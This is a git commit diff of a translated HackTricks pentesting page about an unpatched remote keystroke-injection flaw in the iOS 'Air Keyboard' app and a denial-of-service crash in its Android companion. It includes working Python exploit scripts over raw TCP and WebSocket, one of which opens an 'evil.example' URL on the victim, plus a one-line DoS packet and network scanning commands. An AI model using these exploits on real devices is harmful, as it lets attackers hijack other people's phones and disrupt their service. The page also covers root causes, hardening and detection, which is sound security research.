mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
parent
8a25bba5e0
commit
8bb5bbae7f
@ -1,18 +1,26 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS版の商用「Air Keyboard」アプリケーション(App Store ID 6463187929)は、**ポート8888でクリアテキストTCPサービスを開き**、**認証なしでキーストロークフレームを受け入れます**。 同じWi-Fiネットワーク上の任意のデバイスがそのポートに接続し、被害者の電話に任意のキーボード入力を注入することができ、**完全なリモートインタラクションハイジャック**を達成します。
|
||||
iOS版の商用**「Air Keyboard」**アプリケーション(App Store ID 6463187929)は、**認証や発信元の検証なしにキーストロークフレームを受け入れる**ローカルネットワークサービスを公開しています。インストールされているバージョンに応じて、サービスは次のいずれかです:
|
||||
|
||||
対応するAndroidビルドは**ポート55535**でリッスンします。 弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミが**OpenSSL復号ルーチンで未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
|
||||
* **≤ 1.0.4** – **ポート 8888** で生のTCPリスナーが、2バイトの長さヘッダーの後に*デバイスID*とASCIIペイロードを期待します。
|
||||
* **≥ 1.0.5 (2025年6月)** – *同じ*ポート(**8888**)で**WebSocket**リスナーが、`{"type":1,"text":"…"}`のような**JSON**キーを解析します。
|
||||
|
||||
したがって、同じWi-Fi / サブネット上の任意のデバイスは、**被害者の電話に任意のキーボード入力を注入し、完全なリモートインタラクションのハイジャックを達成**できます。
|
||||
対応するAndroidビルドは**ポート 55535**でリスニングします。弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミデータでも**OpenSSL内で未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
|
||||
|
||||
> この脆弱性は**執筆時点(2025年7月)で未修正**であり、アプリケーションはApp Storeで利用可能なままです。
|
||||
|
||||
---
|
||||
|
||||
## 1. サービス発見
|
||||
|
||||
ローカルネットワークをスキャンし、アプリで使用される2つの固定ポートを探します:
|
||||
ローカルネットワークをスキャンし、アプリで使用される2つの固定ポートを探します:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
# iOS (unauthenticated input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
Android端末では、責任のあるパッケージをローカルで特定できます:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. フレームフォーマット (iOS)
|
||||
**脱獄したiOS**では、`lsof -i -nP | grep LISTEN | grep 8888`を使って似たようなことができます。
|
||||
|
||||
バイナリは、`handleInputFrame()` ルーチン内の次の解析ロジックを明らかにします:
|
||||
---
|
||||
|
||||
## 2. プロトコルの詳細 (iOS)
|
||||
|
||||
### 2.1 レガシー (≤ 1.0.4) – カスタムバイナリフレーム
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
宣言された長さには `device_id` バイトが含まれていますが、2 バイトのヘッダー自体は含まれていません。
|
||||
宣言された *length* は `device_id` バイトを **含むが** 2 バイトのヘッダー自体は含まない。
|
||||
|
||||
## 3. エクスプロイト PoC
|
||||
### 2.2 現在 (≥ 1.0.5) – WebSocket 上の JSON
|
||||
|
||||
バージョン 1.0.5 はポート番号を変更せずに WebSocket に静かに移行しました。最小限のキーストロークは次のようになります:
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
"text": "open -a Calculator\n",
|
||||
"mode": 0,
|
||||
"shiftKey": false,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}
|
||||
```
|
||||
ハンドシェイク、トークン、または署名は必要ありません - 最初のJSONオブジェクトがすでにUIイベントをトリガーします。
|
||||
|
||||
---
|
||||
|
||||
## 3. エクスプロイトPoC
|
||||
|
||||
### 3.1 ターゲティング ≤ 1.0.4 (生TCP)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
任意の印刷可能なASCII(`\n`、`\r`、特殊キーなどを含む)は送信可能であり、攻撃者に物理的なユーザー入力と同じ力を与えます:アプリの起動、IMの送信、フィッシングURLの訪問など。
|
||||
### 3.2 ターゲティング ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
import json, sys, websocket # `pip install websocket-client`
|
||||
|
||||
## 4. Android Companion – サービス拒否
|
||||
target_ip = sys.argv[1]
|
||||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||
ws.send(json.dumps({
|
||||
"type": 1,
|
||||
"text": "https://evil.example\n",
|
||||
"mode": 0,
|
||||
"shiftKey": False,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}))
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*任意の印刷可能なASCII — 改行、タブ、ほとんどの特殊キーを含む — を送信でき、攻撃者は物理的なユーザー入力と同じ力を持ちます:アプリの起動、IMの送信、悪意のあるURLのオープン、設定の切り替えなど。*
|
||||
|
||||
Androidポート(55535)は、**ハードコーディングされたAES-128-ECBキー**で暗号化された4文字のパスワードとランダムなノンスを期待します。 解析エラーは`AES_decrypt()`にバブルアップし、キャッチされず、リスナースレッドが終了します。 したがって、単一の不正なパケットで正当なユーザーを切断し、プロセスが再起動されるまで接続を維持するのに十分です。
|
||||
---
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Androidポート(55535)は、**ハードコーディングされたAES-128-ECBキーで暗号化された4文字のパスワード**の後にランダムなノンスを期待します。 解析エラーは`AES_decrypt()`にバブルアップし、キャッチされず、リスナースレッドが終了します。 したがって、単一の不正なパケットで、プロセスが再起動されるまで正当なユーザーを切断し続けることができます。
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. 根本原因
|
||||
---
|
||||
|
||||
1. **受信フレームのオリジン/整合性チェックなし** (iOS)。
|
||||
2. **暗号の誤用** (静的キー、ECB、長さ検証の欠如) および **例外処理の欠如** (Android)。
|
||||
## 5. 関連アプリ – 繰り返されるアンチパターン
|
||||
|
||||
## 6. 緩和策と強化アイデア
|
||||
Air Keyboardは**孤立したケースではありません**。他のモバイル「リモートキーボード/マウス」ユーティリティも同じ欠陥を抱えています:
|
||||
|
||||
* モバイル端末で認証されていないサービスを決して公開しない。
|
||||
* オンボーディング中にデバイスごとの秘密を導出し、入力処理の前にそれらを検証する。
|
||||
* リスナーを `127.0.0.1` にバインドし、相互認証された暗号化トランスポート (例: TLS, Noise) を使用してリモートコントロールを行う。
|
||||
* モバイルセキュリティレビュー中に予期しないオープンポートを検出する (`netstat`, `lsof`, `frida-trace` on `socket()` など)。
|
||||
* エンドユーザーとして: Air Keyboard をアンインストールするか、信頼できる隔離された Wi-Fi ネットワークでのみ使用する。
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 は認証されていないコマンド実行とプレーンテキストのキーロギングを許可します。
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 は認証されていないRCEとトラフィックスヌーピングを許可します。
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 はデフォルトでパスワードなし、弱いPINのブルートフォースとクリアテキストの漏洩があります。
|
||||
|
||||
## 検出チートシート (ペンテスター)
|
||||
これらのケースは、**モバイルアプリのネットワークに対する攻撃面の体系的な無視**を浮き彫りにしています。
|
||||
|
||||
---
|
||||
|
||||
## 6. 根本原因
|
||||
|
||||
1. 受信フレームに対する**オリジン/整合性チェックなし**(iOS)。
|
||||
2. **暗号の誤用**(静的キー、ECB、長さ検証の欠如)と**例外処理の欠如**(Android)。
|
||||
3. **ユーザーが付与したローカルネットワーク権限 ≠ セキュリティ** – iOSはLANトラフィックのためにランタイムの同意を要求しますが、適切な認証の代わりにはなりません。
|
||||
|
||||
---
|
||||
|
||||
## 7. ハードニングと防御策
|
||||
|
||||
開発者への推奨:
|
||||
|
||||
* リスナーを**`127.0.0.1`**にバインドし、リモートコントロールが必要な場合は**mTLS**または**Noise XX**をトンネリングします。
|
||||
* **オンボーディング中にデバイスごとの秘密を導出**(例:QRコードまたはペアリングPIN)し、入力処理の前に*相互*認証を強制します。
|
||||
* 生のソケットの代わりに*NWListener* + TLSを使用して**Apple Network Framework**を採用します。
|
||||
* フレームの復号化またはデコード時に**長さプレフィックスの健全性チェック**と構造化された例外処理を実装します。
|
||||
|
||||
ブルーチーム/レッドチームのクイックウィン:
|
||||
|
||||
* **ネットワークハンティング:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` または Wiresharkフィルター `tcp.port == 8888`。
|
||||
* **ランタイム検査:** Fridaスクリプトで`socket()`/`NWConnection`をフックして予期しないリスナーをリストします。
|
||||
* **iOSアプリプライバシーレポート(設定 ▸ プライバシーとセキュリティ ▸ アプリプライバシーレポート)**はLANアドレスに接続するアプリを強調表示します – 悪意のあるサービスを見つけるのに役立ちます。
|
||||
* **モバイルEDR**は、ポート8888のクリアテキストTCPペイロード内のJSONキー`"selectionStart"`、`"selectionEnd"`に対してシンプルなYara-Lルールを追加できます。
|
||||
|
||||
---
|
||||
|
||||
## 検出チートシート(ペンテスター)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||
| awk '/Ports/{print $2 " " $4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Air Keyboard iOSアプリのリモート入力インジェクション脆弱性は未修正のまま](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurityアドバイザリー WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 リモート入力インジェクション](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (2025年7月17日) – Air Keyboard iOS Appのリモート入力インジェクション脆弱性は未修正のまま](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user